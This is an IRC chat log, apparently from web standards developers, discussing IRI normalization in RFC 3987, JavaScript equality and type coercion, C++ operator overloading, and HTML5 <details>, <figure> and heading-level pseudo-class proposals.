[03:36:01.0000] <annevk2>
http://tools.ietf.org/html/rfc3987#section-3.1 see step 1, substep a

[03:36:02.0000] <hsivonen>
says RFC 3987

[03:36:03.0000] <annevk2>
ah ok

[03:37:00.0000] <hsivonen>
Unicode ❤

[03:37:01.0000] <MikeSmith>
hsivonen: fwiw, dependencies/iri-0.5/src/com/hp/hpl/jena/iri/impl/AbsLexer.java has this comment:

[03:37:02.0000] <MikeSmith>
170         // compatibility char

[03:37:03.0000] <MikeSmith>
171         // defn is NFD != NFKD, ... hmmm

[03:37:04.0000] <MikeSmith>
what does that mean?

[03:37:05.0000] <MikeSmith>
is it relevant?

[03:37:06.0000] <annevk2>
hsivonen, actually

[03:38:00.0000] <hsivonen>
MikeSmith: I *think* it means that character c is a compatibility character if NFD(c) != NFKD(c)

[03:38:01.0000] <annevk2>
"IRIs SHOULD be created by using NFC.  Using NFKC may avoid even more problems; for example, by choosing half-width Latin letters instead of full-width ones, and full-width instead of half-width Katakana."

[03:39:00.0000] <hsivonen>
annevk2: why is that SHOULD in all caps but the one I quoted isn't?

[03:39:01.0000] <hsivonen>
significant or bad editing?

[03:40:00.0000] <hsivonen>
oh. chapter 7 is informative

[03:40:01.0000] <hsivonen>
way to go IETF! using "should" in informative text

[03:41:00.0000] <annevk2>
IETF is teh awesome

[03:41:01.0000] <jgraham_>
Does no one read these specs for basic things like that?

[03:41:02.0000] <hsivonen>
/me leaves for lunch

[03:42:00.0000] <MikeSmith>
http://www.eki.ee/letter/chardata.cgi?ucode=3f0 has <compat> in its Decomposition field also

[03:42:01.0000] <MikeSmith>
ϰ GREEK KAPPA SYMBOL

[03:43:00.0000] <MikeSmith>
/me wonders does that mean using a GREEK KAPPA SYMBOL in an IRI is also going to make the IRI library emit that error

[03:43:01.0000] <hsivonen>
MikeSmith: ANSTROM SIGN also decomposes to plain Å

[03:43:02.0000] <Philip`>
Seems like it's not a problem if they consistently use SHOULD in normative text, and should in informative text

[03:44:00.0000] <Philip`>
because then it's clear what each word means, and clear they didn't just make a simple capitalisation mistake

[03:44:01.0000] <hsivonen>
*ANGSTROM

[03:45:00.0000] <jgraham_>
Philip`: It seems like poor form to ever use RFC2119 keywords in a way that is not supposed to convey the keyword meaning

[03:53:00.0000] <Philip`>
jgraham_: I don't see why it's a problem if it's unambiguous, and if there's a clear consistent convention about always spelling keywords in uppercase then it seems unambiguous

[04:17:00.0000] <hsivonen>
hmm. it turns out that the people digging the hole outside my window are fixing my ADSL

[04:22:00.0000] <Hixie>
heh

[04:23:00.0000] <hsivonen>
it's a bit unusual that an ADSL problem is actually diagnosed to be a problem with the cable coming into the building 

[04:35:00.0000] <erlehmann>
hsivonen, did the support at least ask you to use the original provider-crapware before doing anything ?

[04:36:00.0000] <hsivonen>
erlehmann: actually, the offered to reboot their end and send me a new ADSL model

[04:36:01.0000] <hsivonen>
s/model/modem/

[04:37:00.0000] <erlehmann>
oh wow

[04:37:01.0000] <hsivonen>
erlehmann: but when their rebooted their end, they found something worse

[04:37:02.0000] <zcorpan>
the resource selection algorithm is non-trivial to understand

[04:37:03.0000] <hsivonen>
the guys digging the cables said they suspected water damage in the cables

[04:39:00.0000] <zcorpan>
although i guess it's just Hixie, the implementors, and the test case writers who need to understand it

[04:40:00.0000] <hsivonen>
/me has no idea what kind of diagnostics telcos have for deciding where they need to dig if a DSL line doesn't come back up normally after rebooting the provider end

[04:40:01.0000] <hsivonen>
also, I'm positively surprised by the effectiveness of the subcontracting chain

[04:40:02.0000] <hsivonen>
there are at least 4 companies acting on less than 24 hour notice to fix stuff

[04:42:00.0000] <jgraham_>
zcorpan: So that's like 9 people in the world?

[04:42:01.0000] <zcorpan>
jgraham_: yes

[04:43:00.0000] <jgraham_>
Oh well. I guess they can just suffer ;)

[04:43:01.0000] <zcorpan>
it seems i have caused a new acronym to be minted: PIPA (processing instruction with pseudo-attributes)

[04:43:02.0000] <zcorpan>
but one of them is me! :(

[04:43:03.0000] <jgraham_>
I know!

[04:43:04.0000] <zcorpan>
you're evil

[04:43:05.0000] <erlehmann>
hsivonen, i would suspect this http://en.wikipedia.org/wiki/Time-domain_reflectometer

[04:44:00.0000] <zcorpan>
although i guess you know what it's like, with ecmascript

[04:45:00.0000] <hsivonen>
erlehmann: ok. I didn't know about those

[04:46:00.0000] <erlehmann>
hsivonen, magic^H^H^H physics is awesome :>

[05:01:00.0000] <Philip`>
/me is reminded of http://jwz.livejournal.com/94645.html about debugging cables

[05:33:00.0000] <jgraham_>
hsivonen: I used <details> yesterday

[05:33:01.0000] <hsivonen>
jgraham_: how?

[05:34:00.0000] <jgraham_>
With javascript to do the open/close thing wrapped in an if (details.open === undefined){}

[05:34:01.0000] <hsivonen>
jgraham_: living dangerously

[05:34:02.0000] <jgraham_>
I guess

[05:35:00.0000] <jgraham_>
I jsut do markup for the andrenaline rush

[05:35:01.0000] <zcorpan>
that's when you know you're alive

[05:37:00.0000] <zcorpan>
/me misspells </titel>

[05:43:00.0000] <Lachy>
I wonder how many authors attempting to do a check like that, would fail by using == instead of ===?

[05:43:01.0000] <hsivonen>
http://twitter.com/ppk/status/4051901363

[05:43:02.0000] <hsivonen>
it's now in three browsers isn't it?

[05:44:00.0000] <Lachy>
the drag and drop stuff was based on IE's implementation, wasn't it? So it's not really our fault if it sucks

[05:44:01.0000] <hsivonen>
Lachy: right

[05:45:00.0000] <Lachy>
although, I've never had a need to use it, so I don't really know whether it's good or bad.

[05:45:01.0000] <Lachy>
maybe I should try experimenting with it one day

[06:05:00.0000] <jgraham_>
Lachy: re: == vs ===; if you are using == you've already lost

[06:06:00.0000] <jgraham_>
s/using/ever using/

[06:07:00.0000] <Lachy>
jgraham_, why?

[06:07:01.0000] <krijnh>
hsivonen: when are you going to integrate the new dt/dd stuff into validator.nu?

[06:07:02.0000] <krijnh>
(If ever)

[06:08:00.0000] <hsivonen>
krijnh: in Q4 unless Mike does it first

[06:08:01.0000] <jgraham_>
Lachy: Because it does implicit type conversion. Eventually you will get bugs

[06:10:00.0000] <Lachy>
yeah, you have to be careful with it, but sometimes, it's the right thing to use

[06:11:00.0000] <jgraham_>
/me doubts it ;)

[06:14:00.0000] <Lachy>
jgraham_, as a simple example, consider a form validation script that is checking whether or not a user entered an acceptable number into a text field.

[06:14:01.0000] <Lachy>
It's easier to say: if (input.value >=1) than to have to explicitly convert the value to a number first

[06:16:00.0000] <Lachy>
oops, I meant to use ==, not >=

[06:18:00.0000] <jgraham_>
if (input.value === "1") is also fine

[06:19:00.0000] <Lachy>
not if the 1 is replaced with a variable, which is known to be calculated as a number

[06:20:00.0000] <Philip`>
if ((double ? input.value*2 : input.value) == 1) ...

[06:20:01.0000] <Lachy>
so either way, you would need to either do an explicit type conversion, or just accept the automatic conversion

[06:20:02.0000] <Philip`>
(Uh, is double a reserved word? Use some other variable name if so)

[06:20:03.0000] <Philip`>
You might not know or care what the type is

[06:21:00.0000] <jgraham_>
Philip`: double is a FutureReservedWord. WHich in practice means that it's probably not

[06:23:00.0000] <jgraham_>
/me doesn't really understand what Philip` is trying to show. Are you expecting 2*input.value to be 2 or "11" given input.value == 1

[06:23:01.0000] <Lachy>
yeah, the attempts to introduce new reserved words into a widely used language, when such reserved words have no other way to be distinguished from variables is a bit silly

[06:23:02.0000] <Lachy>
jgraham_, in JS, it would be 2

[06:24:00.0000] <Lachy>
I don't see why anyone would expect a multiplaction of "1" to end up as "11"

[06:24:01.0000] <jgraham_>
Oh, I've been looking at addition too much (that prefers implicit string conversion)

[06:24:02.0000] <Lachy>
*multiplication

[06:25:00.0000] <jgraham_>
Lachy: python has 2*"1" == "11"

[06:25:01.0000] <jgraham_>
But it also doesn't have silly implicit type conversions for equality or addition

[06:25:02.0000] <Lachy>
jgraham_, that doesn't answer the question, of who on earth would *expect* such insane behaviour?

[06:26:00.0000] <jgraham_>
Lachy: Me, obviously

[06:26:01.0000] <Philip`>
jgraham_: The point is the result might be a number (due to *'s automatic conversion) or a string, so you don't know its type, and you don't really care what its type is, since you can just use == to compare and it will do what you want

[06:26:02.0000] <Lachy>
you're obviously not on earth then, where multiplication is a numeric operation, not string concatenation

[06:26:03.0000] <jgraham_>
Lachy: Seriously, if I need a string with 500 a's in it, what syntax would you suggest?

[06:26:04.0000] <jgraham_>
s/a/"a"/

[06:27:00.0000] <Lachy>
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

[06:27:01.0000] <jgraham_>
Lachy: haha

[06:27:02.0000] <jgraham_>
Assume 500 is a variable that I don't know in advance

[06:27:03.0000] <Lachy>
what's the use case?

[06:28:00.0000] <cpharmston>
"a"*500

[06:28:01.0000] <jgraham_>
Well I use it pretty often in python so it obviously has a use case

[06:28:02.0000] <jgraham_>
Nothing so thrilling that I recall it off the top of my head

[06:28:03.0000] <workmad3>
"a" * no_of_a

[06:28:04.0000] <workmad3>
(in this case, no_of_a would have the value '500')

[06:29:00.0000] <Lachy>
workmad3, that doesn't work in JS

[06:29:01.0000] <Philip`>
jgraham_: "a" x 500

[06:29:02.0000] <workmad3>
not in js, no

[06:29:03.0000] <workmad3>
that's python

[06:29:04.0000] <Lachy>
I know, as jgraham_ already pointed out

[06:29:05.0000] <Philip`>
jgraham_: That's what Perl does, and it avoids weird overloading of '*'

[06:29:06.0000] <workmad3>
ah right

[06:29:07.0000] <workmad3>
sorry

[06:30:00.0000] <jgraham_>
Philip`: I still think you are better off doing an explicit type conversion for equality

[06:30:01.0000] <Philip`>
jgraham_: (It also uses . for concatenation to avoid weird overloading of '+', which avoids the JS bugs you get with input.value+1 etc)

[06:31:00.0000] <workmad3>
var lots_of_a = ""; for( var i = 0; i < no_of_a; i++) {lots_of_a += "a";}

[06:31:01.0000] <workmad3>
that's the best I can think of for JS

[06:31:02.0000] <jgraham_>
Philip`: I don't see a problem with using + to concatanate when both operands are strings

[06:32:00.0000] <jgraham_>
workmad3: (new Array(500)).join("a") would work 

[06:32:01.0000] <workmad3>
... good point

[06:32:02.0000] <workmad3>
but yeah, I'm with you in that I don't have a problem with + for concatenation of strings

[06:34:00.0000] <workmad3>
and using a . instead would mean the parser would need to be worked on as you could have some_string.some_other_string and that could be either a method call or string concatenation

[06:34:01.0000] <Philip`>
jgraham_: It seems reasonable in statically typed languages, where you know it's obviously concatenation, but it's confusing and error-prone in dynamically typed languages where you can't tell from the code what the '+' is doing

[06:35:00.0000] <jgraham_>
Philip`: What do you mean "you can't tell from the code...". Obviously you can tell if you know the types of the operands

[06:36:00.0000] <Lachy>
jgraham_, yeah, but you have to know the types, which doesn't work in this case:...

[06:36:01.0000] <Lachy>
function foo(a, b) { return a + b; }

[06:36:02.0000] <Philip`>
jgraham_: You don't know the types of the operands, because it's dynamic and you have to trace back the execution until some point where you can know what the type is

[06:36:03.0000] <jgraham_>
Right that will do different things depoending on what types a and b have

[06:37:00.0000] <Lachy>
yep

[06:37:01.0000] <jgraham_>
But it would even if each thing had a unique operator

[06:37:02.0000] <Philip`>
and you'll probably have to look up some API documentation to work out what type is, if it comes from a DOM API or something

[06:37:03.0000] <jgraham_>
because e.g. foo(3, "3") would throw

[06:37:04.0000] <jgraham_>
but foo(3,3) would return 6

[06:38:00.0000] <Philip`>
jgraham_: The operators can do automatic type conversion, e.g. '+' converts its operands to numbers (then adds), and '.' converts its operands to strings (then concatenates)

[06:38:01.0000] <Lachy>
foo(3, "3") in JS would return "33"

[06:38:02.0000] <Philip`>
and so you never have to care whether your values are strings-of-digits or numbers, because they're treated equivalently

[06:39:00.0000] <jgraham_>
Lachy: I know. I was assuming a strongly, dynamically typed language

[06:39:01.0000] <jgraham_>
which is what I thought we were talking about

[06:39:02.0000] <Lachy>
using . as an operand for string concatenation, like in PHP, is a silly convention

[06:39:03.0000] <Lachy>
. should be used for methods, like it is in sensible languages

[06:40:00.0000] <Philip`>
Choose some other symbol then, as long as it's not '+'

[06:40:01.0000] <Lachy>
jgraham_, oh, sorry, didn't realise

[06:40:02.0000] <Lachy>
IIRC, VisualBasic used &

[06:40:03.0000] <Philip`>
Perl 6 agrees . should be used for method calls, so it's changed to ~ for string concatenation

[06:41:00.0000] <workmad3>
but then you're using a logic operator and the same issues apply

[06:41:01.0000] <Lachy>
workmad3, I know

[06:41:02.0000] <jgraham_>
Philip`: Sure you never have to care if you only care about not throwing at operators rather than getting the right result

[06:41:03.0000] <workmad3>
I can't think of a standard symbol that isn't already used

[06:42:00.0000] <jgraham_>
Weak typing typically just increases the distance between the bug and the error being thrown

[06:42:01.0000] <jgraham_>
(or prevents an error but gives an incorrect result)

[06:42:02.0000] <Lachy>
jgraham_, yes, but it makes things easier in the process

[06:43:00.0000] <Philip`>
jgraham_: If I write '1' into an input box, and my code does input.value+1, I think 2 is the right result

[06:43:01.0000] <Philip`>
and I'm happy for it to do automatic type conversion from strings to numbers for addition

[06:43:02.0000] <Philip`>
and there's no bug

[06:43:03.0000] <jgraham_>
Philip`: Javascript would give you '11' though

[06:43:04.0000] <jgraham_>
so you would be surprised

[06:44:00.0000] <Philip`>
jgraham_: Sure, which is why JS is silly, but Perl is sensible because it will always give 2

[06:45:00.0000] <jgraham_>
/me notes that Perl code is not typically held up as being easy to understand

[06:45:01.0000] <Philip`>
and I don't have to care whether the inputs are strings-of-digits or numbers

[06:45:02.0000] <jgraham_>
Philip`: In this micro example you don't. In almost any real world example you would

[06:45:03.0000] <Lachy>
I like CSS's approach to string concatentation in the content property: content: "a" "b";

[06:45:04.0000] <Lachy>
no need for an extra symbol

[06:45:05.0000] <Philip`>
jgraham_: There's no implication between "some Perl code is hard to understand" and "if X is a feature that exists in Perl, then X makes programs hard to understand"

[06:47:00.0000] <jgraham_>
Philip`: Not using deductive logic no. But it does suggest you should think about whether X is in fact a feature that makes programs hard to understand

[06:47:01.0000] <Philip`>
jgraham_: Sure, and I've thought about it, and it doesn't :-p

[06:47:02.0000] <jgraham_>
Philip`: Yes it does :p

[06:48:00.0000] <Philip`>
I've written real bugs because of JS's + doing concatenation when I expected addition

[06:48:01.0000] <jgraham_>
Right. So if it did neither you would be fine and your error console would tell you exactly where the bug was

[06:48:02.0000] <Philip`>
and Perl prevents those bugs, because it doesn't surprisingly switch from addition to concatenation depending on the run-time state of its variables

[06:49:00.0000] <Philip`>
I'm not sure if you're disagreeing that Perl is better than JS, or if you're just saying that throwing exceptions instead of automatically converting type would be even better

[06:49:01.0000] <jgraham_>
(assuming you had different types of variables)

[06:49:02.0000] <Philip`>
s/type/types/

[06:49:03.0000] <jgraham_>
I'm saying that throwing exceptions when the variables are different types is probably the best approach

[06:50:00.0000] <jgraham_>
At least for addition and equality

[06:50:01.0000] <jgraham_>
(and subtraction and division, obviously)

[06:50:02.0000] <Lachy>
Philip`, how do you feel about operator overloading in C++, which allows + (and other operators) to be overridden to do basically anything with a given object?

[06:50:03.0000] <Philip`>
That seems contrary to design of all dynamically typed languages I'm aware of, which all treat strings-of-digits as equivalent to numbers in almost all cases

[06:51:00.0000] <jgraham_>
Er, sorry, I don't mean "throw for equality", I mean "return False for equality"

[06:51:01.0000] <jgraham_>
Philip`: Python doesn't

[06:52:00.0000] <Philip`>
jgraham_: Oh, I forgot Python :-(

[06:52:01.0000] <takkaria>
Lachy: that is evil, it really screws up the ability to understand what's going on

[06:53:00.0000] <Philip`>
Lachy: I think it's useful when it's used carefully, e.g. it's useful that std::string overloads + for concatenation instead of requiring a method call or special parser magic (like in Java)

[06:54:00.0000] <Philip`>
and if you have e.g. a 3D vector or a fixed point number or something, then it's useful to overload + for addition because it lets you write much more understandable code than with explicit method calls

[06:55:00.0000] <Lachy>
takkaria, at least in C++, you don't have dynamically typed variables, so you know what + is going to be just by looking at the code

[06:55:01.0000] <takkaria>
Lachy: well, you don't, because as you note, it can do anything

[06:55:02.0000] <takkaria>
you have to then go look up the class in question

[06:55:03.0000] <Philip`>
(and then it's useful for generic programming, e.g. you can write a templated 'sum' function which works for 3D vectors just as well as it works for ints)

[06:55:04.0000] <takkaria>
and then possibly its superclass(es)

[06:56:00.0000] <Lachy>
takkaria, as long as you know the varible type and what that type does with it.

[06:56:01.0000] <Philip`>
takkaria: How is that any different to an explicit method call, which can do anything?

[06:56:02.0000] <takkaria>
Philip`: because '+' and '-' have pretty deeply embedded meanings, and some people do horrific things with operator overloading

[06:57:00.0000] <takkaria>
for stuff like vectors and strings, admittedly, it works OK

[06:57:01.0000] <takkaria>
but they should be language features anyway :)

[06:57:02.0000] <Philip`>
If people do horrific things, the problem is that people are doing horrific things, the problem isn't simply operator overloading

[06:57:03.0000] <Philip`>
and so the solution is to tell people not to do horrific things, and hit them with sharp sticks when they do

[06:57:04.0000] <takkaria>
yeah, but if you give people a feature which is easily misused, then you're partially to blame and you should have designed things better

[06:57:05.0000] <Philip`>
What if you don't like the standard string class and want to create your own that uses UTF-8 internally or something?

[06:58:00.0000] <Philip`>
Would it have to be a second-class citizen with string1.concat(string2) while only officially blessed standard strings can use +?

[06:59:00.0000] <takkaria>
I don't have all the answers, I just know that it's really easy for people to misuse operator overloading and I'd rather it were avoided

[07:00:00.0000] <takkaria>
especially when you have to search up chains of inheritance in a large codebase

[07:03:00.0000] <Philip`>
The replacement for operator overloading is explicit method calls, and then you have to identically search up chains of inheritance, so why is that any different?

[07:03:01.0000] <Philip`>
(You're just searching up the chains for 'add' rather than for 'operator+')

[07:04:00.0000] <takkaria>
you may have backed me into a corner here

[07:05:00.0000] <Philip`>
Because you're wrong? ;-)

[07:05:01.0000] <takkaria>
I think I just don't have particularly good reasons for disliking them

[07:05:02.0000] <takkaria>
except that I've been exposed to some bad overloading

[07:05:03.0000] <Philip`>
So it's an irrational aesthetic dislike? :-)

[07:06:00.0000] <takkaria>
apparently so

[07:07:00.0000] <workmad3>
the problem with overloading isn't really in the operator overloading part, more in the fact that people think they have to use it

[07:07:01.0000] <Philip`>
Aesthetics seems to be a pretty low priority in the design of C++

[07:08:00.0000] <workmad3>
people are able to overload all the operators, so they go looking for things to jam into each and every one in order to 'use them up' as it were

[07:09:00.0000] <Lachy>
workmad3, really? Why?

[07:09:01.0000] <Philip`>
http://spirit.sourceforge.net/distrib/spirit_1_8_5/libs/spirit/doc/quick_start.html

[07:09:02.0000] <workmad3>
and that leads to programmers with that mentality to write bad overloads

[07:09:03.0000] <Philip`>
r = real_p >> *(ch_p(',') >> real_p);

[07:09:04.0000] <Lachy>
do they think it makes their code more robust to be able to handle all operators or something?

[07:09:05.0000] <Philip`>
(A parser for a comma-separated list of reals)

[07:09:06.0000] <workmad3>
Lachy, if I knew why people abused operator overloading, I probably wouldn't be sat here :P

[07:10:00.0000] <Philip`>
(It's kind of clever, but also insane and stupid)

[07:10:01.0000] <workmad3>
Lachy, that, or they are looking for ways to reduce their typing, or they want it to be a 'cool' class that lets them do all of these things

[07:10:02.0000] <takkaria>
actually, the C++y 'cout << "text here"' thing really annoys me

[07:10:03.0000] <takkaria>
like, those operators are for bitshifting, not for printing text, don't screw with the semantics like that

[07:11:00.0000] <takkaria>
I'm pretty sure they only did it that way to say "look, we have operator overloading!"

[07:11:01.0000] <workmad3>
I dislike them for a different reason... it's almost impossible to do decent localisation with C++ streams

[07:12:00.0000] <Lachy>
next time I write a program in C++, I'm going to overload some random operators just for the fun of it

[07:12:01.0000] <workmad3>
heh :)

[07:13:00.0000] <erlehmann>
Lachy, or use the preprocessor to make TRUE to FALSE and vice versa -- maintainer fun :D

[07:13:01.0000] <workmad3>
that said, my point on that front isn't that operator overloads are bad, it's that there are a lot of bad programmers out there that will misuse them... but the same is true of any feature

[07:13:02.0000] <Philip`>
(std::cout << "text" is particularly confusing when you learn that the operator<< function is in the std namespace, and the only way the compiler can find the function is through argument-dependent lookup, i.e. it searches in the std namespace because the first argument is in std)

[07:16:00.0000] <workmad3>
there is one nice thing about input and output streams using overloaded operators in C++ though (and this is more due to their operator overloading mechanics)... you can easily extend the input and output streams to use your custom classes and it'll fit in seamlessly with the existing syntax

[07:16:01.0000] <takkaria>
I think the other reason the use of << for printing irks me is that a barrel shift operator is normally stateless, e.g. (a << b) is just an expression and doesn't modify a in the process

[07:17:00.0000] <Philip`>
C++ using bit-shift operators from stream IO isn't much weirder than Python using the modulo operator from string interpolation

[07:17:01.0000] <Philip`>
s/from/for/

[07:17:02.0000] <Philip`>
(twice)

[07:17:03.0000] <workmad3>
ruby uses << for appending to arrays :)

[07:17:04.0000] <takkaria>
yeah, that's weird too

[07:17:05.0000] <workmad3>
that took me a few times to parse correctly

[07:19:00.0000] <workmad3>
still, hating a language feature because some people have misused it is irrational

[07:19:01.0000] <workmad3>
equivalent to hating hammers because they have been used to hurt people

[07:20:00.0000] <takkaria>
I have seen many hammers and I have never seen someone hurting someone else

[07:20:01.0000] <takkaria>
I have seen not that much C++ and I have seen overloading misused

[07:20:02.0000] <workmad3>
I've seen a fair chunk of C++ and not seen too much overloading misuse

[07:21:00.0000] <workmad3>
and I've hurt myself with a hammer before, and heard of people hurting others with them

[07:23:00.0000] <workmad3>
I've not heard anyone suggesting that because they can be used to hurt people though, that instead we should get rid of hammers and replace them with soft foam mallets instead

[07:23:01.0000] <workmad3>
(and no, I don't have a match in programming terms for 'soft foam mallets' in this now stretched metaphor)

[07:24:00.0000] <zcorpan>
hmm, removing <source> elements is interesting

[07:24:01.0000] <Philip`>
Knives can be used to hurt people, so somebody designed a knife that can't stab people and is suggesting that people use it

[07:24:02.0000] <workmad3>
ah yeah, I saw that

[07:25:00.0000] <workmad3>
and also saw straight away that it could still probably stab people, and definitely be used to cut (otherwise it wouldn't be any good as a knife after all :))

[07:25:01.0000] <Philip`>
but in that case the knife is still useful for its intended purpose (food production)

[07:25:02.0000] <workmad3>
it may need a bit more forcing for the stabbing though

[07:25:03.0000] <Philip`>
If there was something equivalent to operator overloading that avoided the bad uses without impacting on the good uses, that would be good, but I haven't seen any suggestions

[07:27:00.0000] <Philip`>
(Well, I suppose operator overloading plus code review by a sane person would be a solution)

[07:27:01.0000] <TabAtkins>
Mornin'.

[07:28:00.0000] <workmad3>
sane people program now? when did that happen? :)

[07:28:01.0000] <Philip`>
workmad3: They could have retired from programming and regained their sanity, to a sufficient extent that they can review other people's code

[08:45:00.0000] <TabAtkins>
Is it defined anywhere what happens to content in <details> that isn't contained in a <dt> or <dd>?

[08:47:00.0000] <jgraham_>
TabAtkins: Define "happens"

[08:47:01.0000] <jgraham_>
It ends up in the DOM. The rendering section defines how it is rendered

[08:48:00.0000] <jgraham_>
(the rendering section might have a suboptimal definition of course, I don't know what it says)

[08:52:00.0000] <TabAtkins>
Ah, got it.  For some reason I never go from "how is something parsed/rendered" to "I should look in the 'HTML Syntax' section".

[08:52:01.0000] <TabAtkins>
Everything but the first <dt> is considered to be the details.

[09:03:00.0000] <zcorpan>
/me notes that there are unresolved spec bugs regarding the rendering of details

[09:08:00.0000] <jgraham_>
I really dislike the idea of using h1 for <details> or <figure>. In particular I would expect it to interact poorly with legacy AT

[09:11:00.0000] <krijnh>
In <figure> it wouldn't make much sense either: <figure><img><h1>Foo</h1></figure>

[09:13:00.0000] <jgraham_>
Actually the biggest problem I forsee with <dt> and <dd> is that it is way to easy to get them confused

[09:14:00.0000] <jgraham_>
They should have been called <name> and <value> or something

[09:14:01.0000] <Lachy>
too late for that, unfortunately

[09:14:02.0000] <jgraham_>
The confusion is especially bad for <figure> because it is pretty hard to spot

[09:14:03.0000] <jgraham_>
Lachy: I know :(

[09:15:00.0000] <erlehmann>
when no access control header is sent for videos, is thet akin to access for "*" ?

[09:15:01.0000] <erlehmann>
jgraham_, who uses that? is <legend> unexpectedly dead?

[09:15:02.0000] <Lachy>
I'm not a huge fan of reusing dt and dd for figure

[09:15:03.0000] <Lachy>
though it works well for details

[09:15:04.0000] <jgraham_>
erlehmann: <legend> is just for fieldsets again

[09:15:05.0000] <erlehmann>
OH NOEZ

[09:17:00.0000] <jgraham_>
TabAtkins: Reusing <h1> would also be bad in cases where the user fell back to the UA stylesheet in an existing browser

[09:18:00.0000] <TabAtkins>
jgraham_ No worse than what happens if you use <h1> for all headings, though.

[09:18:01.0000] <erlehmann>
i hate it when they change the spec.

[09:18:02.0000] <erlehmann>
coding to moving targets ;_;

[09:18:03.0000] <erlehmann>
jgraham_, using <h1> wouldn't that confuse older UAs particularly concerning accessability ?

[09:18:04.0000] <erlehmann>
everything would be HUGE

[09:18:05.0000] <jgraham_>
TabAtkins: Much worse. A figure caption could be several paragraphs of text

[09:18:06.0000] <erlehmann>
why was legend not good enough ? i had no major parsing or styling problems with it in webkit, presto, gecko …

[09:18:07.0000] <Lachy>
erlehmann, that is the inevitably fate of early adopters

[09:18:08.0000] <jgraham_>
In fact aren't there parsing issues with <h1>

[09:18:09.0000] <Lachy>
*inevitable

[09:18:10.0000] <TabAtkins>
Are there?

[09:19:00.0000] <erlehmann>
Lachy, my code ist frozen till 2022, then.

[09:19:01.0000] <Lachy>
:-)

[09:19:02.0000] <erlehmann>
now can anyone tell me whats so bad about legend ?

[09:19:03.0000] <erlehmann>
was it on the list?

[09:20:00.0000] <Lachy>
on an unrelated issue, I was thinking about the styling of headings today and the idea that's been floating around of introducing a :heading() pseudo class

[09:20:01.0000] <erlehmann>
so :heading(2) would be for 2-level headings?

[09:21:00.0000] <Lachy>
it seems that hgroup and the issue of subheadings make the issue a little more complicated

[09:21:01.0000] <Lachy>
erlehmann, in principle, yes

[09:21:02.0000] <erlehmann>
either its too late for that or CSSWG has something like this already, let me check.

[09:22:00.0000] <TabAtkins>
I know that :heading() (and :section()?) has been discussed before, quite some time ago.

[09:22:01.0000] <Lachy>
e.g. should :heading(2) match the h2 in <hgroup><h1>Top Level Heading</h1><h2>Subheading</h2></hgroup>?

[09:22:02.0000] <TabAtkins>
I think it's pretty necessary.

[09:22:03.0000] <TabAtkins>
Lachy: No, it should match the <hgroup> itself, if it represents a second-level heading.

[09:23:00.0000] <jgraham_>
TabAtkins: In practice no one uses <h1> in blockquote (I expect)

[09:23:01.0000] <Lachy>
TabAtkins, assume there's a <body> immediately before that example of mine, so it's the page's top level heading

[09:23:02.0000] <jgraham_>
That bit of the spec is basically theoretical purity

[09:24:00.0000] <TabAtkins>
Lachy: Then I dont' think it should match.  The <hgroup> would match :heading(1), but its child headings won't match *any* :heading(n).

[09:24:01.0000] <Lachy>
TabAtkins, also, I would have intuitively expected the :heading() pseudo to only match the h1 (if it were a 2nd level heading)

[09:25:00.0000] <erlehmann>
put it on the list, already \o/

[09:25:01.0000] <TabAtkins>
That's possibly, too, I guess - just having it match the identifying heading of the hgroup.

[09:25:02.0000] <Lachy>
as in <body>...<section><h1>2nd Level Heading</h1>...</section>  OR this <body>...<section><hgroup><h1>2nd Level Heading</h1><h2>...</h2></hgroup>...</section>

[09:25:03.0000] <TabAtkins>
jgraham_, I agree that it's probably not common.

[09:25:04.0000] <krijnh>
Did the list receive mail today?

[09:25:05.0000] <jgraham_>
krijnh: Yes

[09:25:06.0000] <krijnh>
Then my mail is broken :(

[09:25:07.0000] <TabAtkins>
krijnh - yes? 

[09:26:00.0000] <hsivonen>
Lachy: shouldn't the pseudo match other elements based on their level in the outline, too

[09:26:01.0000] <jgraham_>
krijnh: Then you have a whole run of thrilling and not-at-all-inflammatory messages to look forward to!

[09:26:02.0000] <TabAtkins>
Lachy: That seems probably useful.  I'm not certain, but I wouldn't disagree with it.

[09:26:03.0000] <krijnh>
jgraham_: I think they didn't arrive

[09:26:04.0000] <Lachy>
also i checked jQuery's docs earlier, and that uses a custom :header for matching h1 - h6, so there shouldn't be any issue with calling it :heading() as I once suspected 

[09:26:05.0000] <krijnh>
What should I do with all this extra time I have now!

[09:27:00.0000] <Lachy>
hsivonen, yes, it should match any of the h1 to h6 elements, based on what heading level they represent

[09:27:01.0000] <Lachy>
I'm just figuring out how hgroup and subheadings would be affected

[09:27:02.0000] <hsivonen>
Lachy: I meant matching p:outline-level(3)

[09:27:03.0000] <Lachy>
what's the use case for that?

[09:28:00.0000] <hsivonen>
Lachy: setting the font size or bg color depending on outline depth

[09:28:01.0000] <jgraham_>
(or indent)

[09:28:02.0000] <Lachy>
the use case for headings is replacing what was formerly possible in HTML4 simply by using the numbered heading elements.

[09:28:03.0000] <hsivonen>
jgraham_: that, too

[09:28:04.0000] <TabAtkins>
I sorta prefer ::section(n).  It's a new pseudoelement, but it doesn't cross element boundaries and has an intuitiviely obvious wrapping level.

[09:29:00.0000] <TabAtkins>
That way you can do borders, margins, etc. even if using implicit sectioning.

[09:29:01.0000] <Lachy>
TabAtkins, interesting idea

[09:29:02.0000] <hsivonen>
we should have <figure><bikeshed></figure>

[09:30:00.0000] <takkaria>
<figure><span role="semantic-meaning"></span></figure>

[09:30:01.0000] <TabAtkins>
hsivonen: Put it to a vote.  I'm for it.  But I require <bikeshed color="#f00">

[09:30:02.0000] <hsivonen>
TabAtkins: I want color=papayawhip

[09:30:03.0000] <erlehmann>
I WANT MAH LEGEND BACK

[09:30:04.0000] <erlehmann>
<div class="figure presentation"><span role="semantic-meaning"></span></div>

[09:30:05.0000] <erlehmann>
i want a pony !

[09:31:00.0000] <erlehmann>
color=ponypink !

[09:32:00.0000] <Lachy>
TabAtkins, with the ::section() pseudo-element, that makes styling section elements by their nesting level a little confusing, since if you do section::section(n), you end up styling the pseudo instead of the section element itself

[09:32:01.0000] <TabAtkins>
Lachy: Heh, I was just in the middle of typing exactly that.

[09:33:00.0000] <Lachy>
and that's a little problematic if you want to set default styles for section, and then override them based on the level

[09:33:01.0000] <Lachy>
and I'd rather not have :section() pseudo-class and a ::section pseudo-element to cover both cases

[09:33:02.0000] <TabAtkins>
